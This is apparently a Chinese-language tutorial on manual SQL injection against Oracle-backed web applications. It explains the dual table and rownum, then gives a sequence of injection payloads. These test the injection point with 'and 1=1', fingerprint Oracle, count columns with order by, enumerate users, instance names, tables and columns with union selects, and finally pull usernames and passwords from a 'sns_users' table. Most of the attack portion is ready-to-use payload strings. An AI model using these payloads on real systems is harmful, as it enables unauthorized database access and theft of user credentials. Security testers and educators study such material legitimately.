前置知识
1.dual表 此表是Oracle数据库中的一个自带表,为满足查询条件而产生。与MySQL不同的是,在MySQL中查询语句可以直接是:select 1,2,但是在Oracle中就必须跟一个表名,但是如查询日期是没有表的,就可以使用dual这个表,如下:select sysdate from dual, 2.基本用法 select user from dual 查询当前用户 select * from all_tables 查询出所有的表 select * from user_tables 查询出当前用户的表 select * from all_tab_columns 查询出所有的字段 select * from user_tab_columns 查询出当前用户的字段 select * from v$version 查版本 select privilege from session_privs查询当前用户权限 select utl_inaddr.get_host_address from dual查询内网IP 3.rownum=1 (限制查询返回的总行数为一条) 对于rownum来说它是oracle系统顺序分配为从查询返回的行的编号,返回的第一行分配的是1,第二行是2,依此类推,这个伪字段可以用于限制查询返回的总行数。 我们可以用rownum<3来要求他输出2条数据。 它是不支持用>号的,只能是=1或者<n。
案例
1、判断是否存在
and 1=1 返回正常
and 1=2 返回错误
4.判断是否位oracle
可以通过dual来判断,and exists(select * from dual)
通过版本号判断,and (select count(*) from v$version) > 0
通过特有的函数判断,and bitand(1,1)=1
返回正常说明是oracle
5.判断列数 order by 2
6.联合查询
union select null,null from dual 此处判断整型
union select 'null','null' from dual 换为字符串型
获取连接数据库的当前用户
(select SYS_CONTEXT('USERENV','CURRENT_USER')from dual)
获取数据库
(select instance_name from v$instance) 获取当前数据库
(select owner from all_tables where rownum=1)获取第一个数据库
(select owner from all_tables where rownum=1 and owner<>'SYS')获取第二个数据库
<>表示不等于
获取表名
(select table_name from user_tables where rownum=1 and table_name like '%users%') from dual
获取列名
(select column_name from user_tab_columns where table_name='sns_users' and rownum=1)
获取第二列名
(select column_name from user_tab_columns where table_name='sns_users' and rownum=1 and column_name<>'USER_NAME')
获取字段内容
id=1 and 1=2 union select USER_NAME,USER_PWD from "sns_users"
union select USER_NAME,USER_PWD from "sns_users" where USER_NAME<>'hu' 获取第二个用户信息